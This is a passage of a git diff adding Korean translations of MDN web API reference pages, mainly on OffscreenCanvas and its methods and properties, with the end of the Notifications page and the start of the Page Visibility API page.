+<p><img alt="" src="https://mdn.mozillademos.org/files/10819/notification-bubble.png" style="display: block; height: 205px; margin: 0 auto; width: 453px;"></p>
+
+<p>여기에서 사용자는 이 origin 으로부터의 알림을 허용할지, 차단할지, 이 시점에는 선택하지 않을지를 선택할 수 있습니다. 하나가 선택된후에는, 그 설정이 현재 세션에대해서 일반적으로 유지됩니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: Firefox 44 부터 Notifications 와 <a href="/en-US/docs/Web/API/Push_API">Push</a> 권한이 통합되었습니다. notifications 에대한 권한이 허용되면, push 또한 활성화됩니다.</p>
+</div>
+
+<p>그 다음, {{domxref("Notification.Notification","Notification()")}} 생성자를 사용해 새로운 알림이 생성됩니다. title 인자를 반드시 포함해야하며, 텍스트 방향, 바디 텍스트, 표시할 아이콘, 재생할 알림 사운드 등과 같은 옵션을 지정하는 옵션 객체를 선택적으로 전달할 수 있습니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>부가적으로, Notifications API 명세는 <a href="https://developer.mozilla.org/ko/docs/Web/API/Service_Worker_API">ServiceWorker API</a> 에 여러가지 추가 기능을 지정하여 service worker 가 알림을 발생시킬 수 있도록 허용합니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: 여러분의 앱에서 알림을 사용하는것에 대한 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/WebAPI/Using_Web_Notifications">Notifications API 사용하기</a> 글에서 찾아보시기 바랍니다.</p>
+</div>
+
+<h2 id="Notifications_인터페이스">Notifications 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Notification")}}</dt>
+ <dd>notification 객체를 정의합니다.</dd>
+</dl>
+
+<h3 id="Service_worker_추가_기능">Service worker 추가 기능</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration")}}</dt>
+ <dd>알림 표시 제어를 위한 {{domxref("ServiceWorkerRegistration.showNotification()")}} 와 {{domxref("ServiceWorkerRegistration.getNotifications()")}} 메소드를 포함합니다.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope")}}</dt>
+ <dd>알림이 클릭됐을 때 커스텀 함수를 실행하기 위한 {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} 핸들러를 포함합니다.</dd>
+ <dt>{{domxref("NotificationEvent")}}</dt>
+ <dd>{{domxref("ExtendableEvent")}} 를 기반으로한 이벤트 객체의 특정 타입입니다. 발생한 알림을 나타냅니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="Notification"><code>Notification</code></h3>
+
+
+
+<p>{{Compat("api.Notification")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/WebAPI/Using_Web_Notifications">Notifications API 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/notifyaudioavailableevent/index.html b/files/ko/web/api/notifyaudioavailableevent/index.html
new file mode 100644
index 0000000000..cc63e7992c
--- /dev/null
+++ b/files/ko/web/api/notifyaudioavailableevent/index.html
@@ -0,0 +1,32 @@
+---
+title: NotifyAudioAvailableEvent
+slug: Web/API/NotifyAudioAvailableEvent
+translation_of: Web/API/NotifyAudioAvailableEvent
+---
+<p>{{APIRef("Web Audio API")}}{{Non-standard_header}}{{Deprecated_header}}This interface defines the event for audio elements triggered when the Audiobuffer is full.</p>
+
+<p class="brush: html" id="Attributes">Attributes</p>
+
+<div id="section_2">
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>frameBuffer</code></td>
+   <td><a href="/en-US/docs/JavaScript/Typed_arrays/Float32Array"><code>Float32Array</code></a></td>
+   <td>The <strong>frameBuffer</strong> attribute contains a typed array (<code>Float32Array</code>) with the raw audio data (32-bit float values) obtained from decoding the audio (e.g., the raw data being sent to the audio hardware vs. encoded audio). This is of the form [channel1, channel2, ..., channelN, channel1, channel2, ..., channelN, ...]. All audio frames are normalized to a length of channels * 1024 by default, but could be any length between 512 and 16384 if the user has set a different length using the <strong>mozFrameBufferLength</strong> attribute.  <strong>Read only.</strong></td>
+  </tr>
+  <tr>
+   <td><code>time</code></td>
+   <td><code>float</code></td>
+   <td>The <strong>time</strong> attribute contains a float representing the time in seconds of the first sample in the <strong>frameBuffer</strong> array since the start of the audio track.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/api/offscreencanvas/getcontext/index.html b/files/ko/web/api/offscreencanvas/getcontext/index.html
new file mode 100644
index 0000000000..de0015ac61
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/getcontext/index.html
@@ -0,0 +1,117 @@
+---
+title: OffscreenCanvas.getContext()
+slug: Web/API/OffscreenCanvas/getContext
+translation_of: Web/API/OffscreenCanvas/getContext
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><strong><code>OffscreenCanvas.getContext()</code></strong> 메소드는 offscreen 캔버스를 위한 드로잉 컨텍스트 반환합니다. 컨텍스트 식별자가 지원되는 상황이 아닐 경우 {{jsxref("null")}}를 반환합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 API는 현재 <a href="/en-US/docs/Web/API/WebGLRenderingContext">WebGL1</a>과 <a href="/en-US/docs/Web/API/WebGL2RenderingContext">WebGL2</a> 컨텍스트에서만 실행됩니다.  <a href="/en-US/docs/Web/API/Canvas_API">Canvas 2D API</a> 관련 {{bug(801176)}}를 참조하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>offscreen</em>.getContext(<em>contextType</em>, <em>contextAttributes</em>);
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>contextType</code></dt>
+ <dd>캔버스의 드로잉 컨텍스트를 정의하는 컨텍스트 식별자가 포함된 {{domxref("DOMString")}}입니다:
+ <ul>
+  <li><strong><code>"2d"</code></strong>는 2차원 렌더링 컨텍스트를 표현하는 {{domxref("CanvasRenderingContext2D")}} 객체를 생성합니다.</li>
+  <li><strong><code>"webgl"</code></strong>는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGLRenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 <a href="https://developer.mozilla.org/en-US/docs/Web/WebGL">WebGL</a> 버전 1(OpenGL ES 2.0)을 지원하는 브라우저에서만 사용 가능합니다.</li>
+  <li><strong><code>"webgl2"</code></strong>는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGL2RenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 <a href="https://developer.mozilla.org/en-US/docs/Web/WebGL">WebGL</a> 버전 2 (OpenGL ES 3.0)를 지원하는 브라우저에서만 사용 가능합니다.  {{experimental_inline}}</li>
+  <li>
+   <p><strong><code>"bitmaprenderer"</code></strong>는 주어진 {{domxref("ImageBitmap")}}을 캔버스의 내용 대신 전환하는 함수를 제공하는 {{domxref("ImageBitmapRenderingContext")}}를 생성합니다. </p>
+  </li>
+ </ul>
+
+ <p>Note:<strong><code>"experimental-webgl"</code></strong>과 <strong><code>"experimental-webgl2"</code></strong> 식별자는 WebGL에서도 사용됩니다. 그러나 아직 테스트 적합성을 통과하지 못했거나 플랫폼별 그래픽 드라이버 지원이 안정적이진 않습니다. <a href="https://www.khronos.org/">Khronos Group</a>은 특정한  <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">정합성 규칙</a>에 WebGL 구현을 인증하고 있습니다.</p>
+ </dd>
+ <dt><code>contextAttributes</code></dt>
+ <dd>
+ <p>You can use several context attributes when creating your rendering context, for example:</p>
+
+ <pre class="brush: js">offscreen.getContext("webgl",
+                 { antialias: false,
+                   depth: false });</pre>
+ 2d context attributes:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: Boolean that indicates if the canvas contains an alpha channel. If set to <code>false</code>, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent content and images then.</li>
+  <li>{{non-standard_inline}} (Gecko only) <strong><code>willReadFrequently</code></strong>: Boolean that indicates whether or not a lot of read-back operations are planned. This will force the use of a software (instead of hardware accelerated) 2D canvas and can save memory when calling {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} frequently. This option is only available, if the flag <code>gfx.canvas.willReadFrequently.enable</code> is set to <code>true</code> (which, by default, is only the case for B2G/Firefox OS).</li>
+  <li>{{non-standard_inline}} (Blink only) <strong><code>storage</code></strong>: String that indicates which storage is used ("persistent" by default).</li>
+ </ul>
+ WebGL context attributes:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: Boolean that indicates if the canvas contains an alpha buffer.</li>
+  <li><strong><code>depth</code></strong>: Boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits.</li>
+  <li><strong><code>stencil</code></strong>: Boolean that indicates that the drawing buffer has a stencil buffer of at least 8 bits.</li>
+  <li><strong><code>antialias</code></strong>: Boolean that indicates whether or not to perform anti-aliasing.</li>
+  <li><strong><code>premultipliedAlpha</code></strong>: Boolean that indicates that the page compositor will assume the drawing buffer contains colors with pre-multiplied alpha.</li>
+  <li><strong><code>preserveDrawingBuffer</code></strong>: If the value is true the buffers will not be cleared and will preserve their values until cleared or overwritten by the author.</li>
+  <li>
+   <p><code><strong>failIfMajorPerformanceCaveat</strong></code>: Boolean that indicates if a context will be created if the system performance is low.</p>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("RenderingContext")}} which is either a</p>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}} for <code>"2d"</code>,</li>
+ <li>{{domxref("WebGLRenderingContext")}} for <code>"webgl"</code> and <code>"experimental-webgl"</code>,</li>
+ <li>{{domxref("WebGL2RenderingContext")}} for <code>"webgl2"</code> and <code>"experimental-webgl2"</code> {{experimental_inline}}, or</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}} for <code>"bitmaprenderer"</code>.</li>
+</ul>
+
+<p>If the <code>contextType</code> doesn't match a possible drawing context, <code>null</code> is returned.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+gl; // WebGLRenderingContext
+gl.canvas; // OffscreenCanvas</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-offscreencanvas-getcontext", "OffscreenCanvas.getContext()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.getContext")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The interface defining this method: {{domxref("OffscreenCanvas")}}</li>
+ <li>{{domxref("HTMLCanvasElement.getContext()")}}</li>
+ <li>Available rendering contexts: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}}, {{domxref("WebGL2RenderingContext")}}, and {{domxref("ImageBitmapRenderingContext")}}</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/height/index.html b/files/ko/web/api/offscreencanvas/height/index.html
new file mode 100644
index 0000000000..9cf16b703f
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/height/index.html
@@ -0,0 +1,63 @@
+---
+title: OffscreenCanvas.height
+slug: Web/API/OffscreenCanvas/height
+tags:
+  - API
+  - Canvas
+  - Experimental
+  - OffscreenCanvas
+  - Property
+  - Reference
+translation_of: Web/API/OffscreenCanvas/height
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><code><strong>height</strong></code> 프로퍼티는 {{domxref("OffscreenCanvas")}} 객체에 할당된 높이를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>var <em>pxl</em> = <em>offscreen</em></var>.height;
+<em>offscreen</em>.height = <em>pxl</em>;</pre>
+
+<dl>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>새로운 offscreen 캔버스를 생성하고 높이를 설정하거나 반환합니다.</p>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+offscreen.height; // 256
+offscreen.height = 512;
+</pre>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-offscreencanvas-height", "OffscreenCanvas.height")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.height")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("OffscreenCanvas")}}, 프로퍼티가 속한 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/index.html b/files/ko/web/api/offscreencanvas/index.html
new file mode 100644
index 0000000000..4e90bbf294
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/index.html
@@ -0,0 +1,153 @@
+---
+title: OffscreenCanvas
+slug: Web/API/OffscreenCanvas
+tags:
+  - API
+  - Canvas
+  - Experimental
+  - Interface
+  - Reference
+translation_of: Web/API/OffscreenCanvas
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><strong><code>OffscreenCanvas</code></strong>는 화면 밖에서 렌더링되는 캔버스 인터페이스입니다. window 객체와 <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> 객체 모두 지원합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.OffscreenCanvas", "OffscreenCanvas()")}}</dt>
+ <dd><code>OffscreenCanvas</code> 생성자. 새 <code>OffscreenCanvas</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.height")}}</dt>
+ <dd>캔버스의 높이</dd>
+ <dt>{{domxref("OffscreenCanvas.width")}}</dt>
+ <dd>캔버스의 너비</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.getContext()")}}</dt>
+ <dd>렌더링된 캔버스 컨텍스트 객체를 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.convertToBlob()")}}</dt>
+ <dd>캔버스에 들어있는 이미지에 대한 {{domxref("Blob")}} 객체를 생성합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("OffscreenCanvas.transferToImageBitmap()")}}</dt>
+ <dd>OffscreenCanvas에 렌더링된 이미지중에서 가장 최근에 렌더링된 이미지를 {{domxref("ImageBitmap")}} 객체로 생성합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="OffscreenCanvas_에서_만들어진_프레임을_동기적으로_화면에_보여주는_방법"><code>OffscreenCanvas</code> 에서 만들어진 프레임을 동기적으로 화면에 보여주는 방법</h3>
+
+<p><code>OffscreenCanvas</code> API를 사용하는 방법은 <code>OffscreenCanvas</code>에 속한 {{domxref("RenderingContext")}}를 이용해 새로운 프레임 객체를 생성하는 것입니다. 새 프레임이 컨텍스트에 렌더링이 되고나면, 가장 최근에 렌더링 된 이미지를 저장하는 {{domxref("OffscreenCanvas.transferToImageBitmap", "transferToImageBitmap()")}} 메소드를 호출할 수 있습니다. 이 메소드는 다른 수 많은 Web API에서 사용되고 있는 {{domxref("ImageBitmap")}} 객체를 리턴합니다.</p>
+
+<p><code>ImageBitmap</code>을 화면에 표시하려면, 현재 (화면에 보여지고 있는) 캔버스 요소의 <code>canvas.getContext("bitmaprenderer")</code> 메소드를 호출했을 때 생성되는 {{domxref("ImageBitmapRenderingContext")}} 객체를 사용하면 됩니다. 이 컨텍스트는 캔버스의 내용을 주어진 <code>ImageBitmap</code>으로 전환하는 기능을 제공합니다.  OffscreenCanvas에서 이전에 렌더링이 되어서 등록된 <code>ImageBitmap</code>을 이용한 {{domxref("ImageBitmapRenderingContext.transferFromImageBitmap()")}}을 호출하면 <code>ImageBitmap</code>이 캔버스에 표시되고 소유권 역시 캔버스로 넘어갑니다. 단일 <code>OffscreenCanvas</code>는 프레임들을 임의의 다른 <code>ImageBitmapRenderingContext</code> 객체로 전달합니다.</p>
+
+<p>아래에 두 개의 {{HTMLElement("canvas")}} 요소가 있습니다.</p>
+
+<pre class="brush: html">&lt;canvas id="one"&gt;&lt;/canvas&gt;
+&lt;canvas id="two"&gt;&lt;/canvas&gt;</pre>
+
+<p>다음의 코드는 위에서 설명한 것처럼 <code>OffscreenCanvas</code>를 이용해 렌더링합니다.</p>
+
+<pre class="brush: js">var one = document.getElementById("one").getContext("bitmaprenderer");
+var two = document.getElementById("two").getContext("bitmaprenderer");
+
+var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext('webgl');
+
+// ... gl 컨텍스트를 이용해 첫 번째 캔버스에 무언가를 그립니다 ...
+
+// 첫 번째 캔버스에 렌더링을 수행합니다.
+var bitmapOne = offscreen.transferToImageBitmap();
+one.transferFromImageBitmap(bitmapOne);
+
+// ... gl 컨텍스트를 이용해 두 번째 캔버스에 무언가를 그립니다 ...
+
+// 두 번째 캔버스에 렌더링을 수행합니다.
+var bitmapTwo = offscreen.transferToImageBitmap();
+two.transferFromImageBitmap(bitmapTwo);
+</pre>
+
+<h3 id="OffscreenCanvas_에서_만들어진_프레임을_비동기적으로_화면에_보여주는_방법"><code>OffscreenCanvas</code> 에서 만들어진 프레임을 비동기적으로 화면에 보여주는 방법</h3>
+
+<p><code>OffscreenCanvas</code> API를 이용하는 또 다른 방법은  <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> 또는 메인 스레드위에서 {{HTMLElement("canvas")}} 요소의 {{domxref("HTMLCanvasElement.transferControlToOffscreen", "transferControlToOffscreen()")}}를 호출하는 것입니다. 여기서 메인 스레드는 <code>OffscreenCanvas</code> 객체를 반환하는 {{domxref("HTMLCanvasElement")}} 객체를 가지고 있습니다. {{domxref("OffscreenCanvas.getContext", "getContext()")}}를 호출하면 <code>OffscreenCanvas</code>에서 <code>RenderingContext</code>를 얻을 수 있습니다.</p>
+
+<p>main.js (메인 스레드 코드):</p>
+
+<pre class="brush: js">var htmlCanvas = document.getElementById("canvas");
+var offscreen = htmlCanvas.transferControlToOffscreen();
+
+var worker = new Worker("offscreencanvas.js");
+worker.postMessage({canvas: offscreen}, [offscreen]);
+</pre>
+
+<p>offscreencanvas.js (worker 코드):</p>
+
+<pre class="brush: js">onmessage = function(evt) {
+  var canvas = evt.data.canvas;
+  var gl = canvas.getContext("webgl");
+
+  // ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+};
+</pre>
+
+<p>worker 내에서 requestAnimationFrame 또한 사용할 수 있습니다.</p>
+
+<pre class="brush: js">onmessage = function(evt) {
+  const canvas = evt.data.canvas;
+  const gl = canvas.getContext("webgl");
+
+  function render(time) {
+    // ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+    requestAnimationFrame(render);
+  }
+  requestAnimationFrame(render);
+};</pre>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#the-offscreencanvas-interface", "OffscreenCanvas")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2016/01/webgl-off-the-main-thread/">WebGL Off the Main Thread – Mozilla Hacks</a></li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}}</li>
+ <li>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.commit()")}}</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/offscreencanvas/index.html b/files/ko/web/api/offscreencanvas/offscreencanvas/index.html
new file mode 100644
index 0000000000..89c6f42062
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/offscreencanvas/index.html
@@ -0,0 +1,74 @@
+---
+title: OffscreenCanvas()
+slug: Web/API/OffscreenCanvas/OffscreenCanvas
+tags:
+  - API
+  - Canvas
+  - Constructor
+  - Experimental
+  - OffscreenCanvas
+  - Reference
+  - WebGL
+translation_of: Web/API/OffscreenCanvas/OffscreenCanvas
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><code><strong>OffscreenCanvas()</strong></code> 생성자는 새롭게 초기화된 {{domxref("OffscreenCanvas")}} 객체를 반환합니다.</p>
+
+<p> </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new OffscreenCanvas(<em>width</em>, <em>height</em>);
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>offscreen 캔버스의 너비</dd>
+ <dt><code>height</code></dt>
+ <dd>offscreen 캔버스의 높이</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>이 예시는 <code>OffscreenCanvas()</code> 생성자를 이용해 새로운 offscreen 캔버스를 생성하고, <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> 컨텍스트의 {{domxref("OffscreenCanvas.getContext()", "getContext()")}} 메소드를 사용해 초기화합니다.</p>
+
+<pre class="brush: js">let offscreen = new OffscreenCanvas(256, 256);
+let gl = offscreen.getContext('webgl');
+</pre>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-offscreencanvas", "OffscreenCanvas()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.OffscreenCanvas")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("OffscreenCanvas")}}, 생성자가 속한 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/toblob/index.html b/files/ko/web/api/offscreencanvas/toblob/index.html
new file mode 100644
index 0000000000..e57eeecfbb
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/toblob/index.html
@@ -0,0 +1,77 @@
+---
+title: OffscreenCanvas.convertToBlob()
+slug: Web/API/OffscreenCanvas/toBlob
+tags:
+  - API
+  - Canvas
+  - Experimental
+  - Method
+  - OffscreenCanvas
+  - Reference
+translation_of: Web/API/OffscreenCanvas/toBlob
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><strong><code>OffscreenCanvas.convertToBlob()</code></strong> 메소드는 캔버스에 포함된 이미지를 표현하는 {{domxref("Blob")}} 객체를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Promise&lt;Blob&gt; OffscreenCanvas.convertToBlob(<var>options</var>);</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>객체를 {{domxref("Blob")}} 객체로 전환할 때 다양한 옵션을 줄 수 있습니다.</p>
+
+ <pre class="brush: js">const blob = offscreenCanvas.convertToBlob({
+  type: "image/jpeg",
+  quality: 0.95
+});</pre>
+
+ <p>options:</p>
+
+ <ul>
+  <li><strong><code>type</code></strong>: 이미지 포맷을 가리키는 {{domxref("DOMString")}}. 상세 타입은 <code>image/png</code></li>
+  <li><code><strong>quality</strong></code>: <code>type</code> 옵션이 <code>image/jpeg</code> 혹은 <code>image/webp</code> 일 때 이미지의 품질을 가리키는 <code>0</code>과 <code>1</code>사이의 {{jsxref("Number")}}. 이 매개 변수가 다른 값이라면, 이미지 품질의 기본 설정값이 적용됩니다. 다른 매개 변수들은 무시됩니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>캔버스에 포함된 이미지를 표현하는 {{domxref("Blob")}} 객체를 반환하는 {{jsxref("Promise")}}</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+// ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+
+offscreen.convertToBlob().then(function(blob) {
+  console.log(blob);
+});
+
+// Blob { size: 334, type: "image/png" }</pre>
+
+<h2 id="상세">상세</h2>
+
+<p>현재 작성되고 있는 중입니다: <a href="https://wiki.whatwg.org/wiki/OffscreenCanvas">OffscreenCanvas</a>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.convertToBlob")}}</p>
+</div>
+
+<p> </p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>이 메소드를 정의하는 인터페이스, {{domxref("OffscreenCanvas")}}.</li>
+</ul>
diff --git a/files/ko/web/api/offscreencanvas/width/index.html b/files/ko/web/api/offscreencanvas/width/index.html
new file mode 100644
index 0000000000..e7d7440d28
--- /dev/null
+++ b/files/ko/web/api/offscreencanvas/width/index.html
@@ -0,0 +1,63 @@
+---
+title: OffscreenCanvas.width
+slug: Web/API/OffscreenCanvas/width
+tags:
+  - API
+  - Canvas
+  - Experimental
+  - OffscreenCanvas
+  - Property
+  - Reference
+translation_of: Web/API/OffscreenCanvas/width
+---
+<div>{{APIRef("Canvas API")}} {{SeeCompatTable}}</div>
+
+<p><code><strong>width</strong></code><strong> </strong><span style="font-size: 1rem; letter-spacing: -0.00278rem;">프로퍼티는 {{domxref("OffscreenCanvas")}} 객체에 할당된 너비를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>var <em>pxl</em> = <em>offscreen</em></var>.width;
+<em>offscreen</em>.width = <em>pxl</em>;</pre>
+
+<dl>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>새로운 offscreen 캔버스를 생성하고 높이를 설정하거나 반환합니다.</p>
+
+<pre class="brush: js">var offscreen = new OffscreenCanvas(256, 256);
+offscreen.width; // 256
+offscreen.width = 512;
+</pre>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-offscreencanvas-width", "OffscreenCanvas.width")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.OffscreenCanvas.width")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("OffscreenCanvas")}}, 프로퍼티가 속한 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/page_visibility_api/index.html b/files/ko/web/api/page_visibility_api/index.html
new file mode 100644
index 0000000000..98d67430e9
--- /dev/null
+++ b/files/ko/web/api/page_visibility_api/index.html
@@ -0,0 +1,141 @@
+---
+title: Page Visibility API
+slug: Web/API/Page_Visibility_API
+tags:
+  - API
+  - DOM
+  - Documents
+  - Tutorials
+translation_of: Web/API/Page_Visibility_API
+---
+<div>{{DefaultAPISidebar("Page Visibility API")}}</div>
+
+<p><span class="seoSummary"><strong>Page Visibility API</strong>는 웹페이지가 visible 또는 focus 상태인지 당신이 알도록 한다.</span> 탭 브라우징 사용시에, background 에 어떤 웹페이지가 존재하면서 유저에게 보이지 않을 가능성이 있다. 사용자가 웹페이지를 최소화하거나 다른 탭으로 이동했을 때, 이 API 는 페이지의 visibility 를 관찰하는 {{event("visibilitychange")}} 이벤트를 전달한다. 당신은 이벤트를 감지할 수 있고, 어떠한 action 을 수행하거나 다르게 반응할 수 있다. 예를 들어, 당신의 웹 앱이 video 를 재생한다면, 사용자가 다른 브라우저를 보고 있을 때 video 를 pause 하고, 탭으로 돌아왔을 때 다시 재생할 수 있다. 사용자는 video 에서 자신의 위치를 잃지 않고 계속 시청할 수 있다.<br>
+ <br>
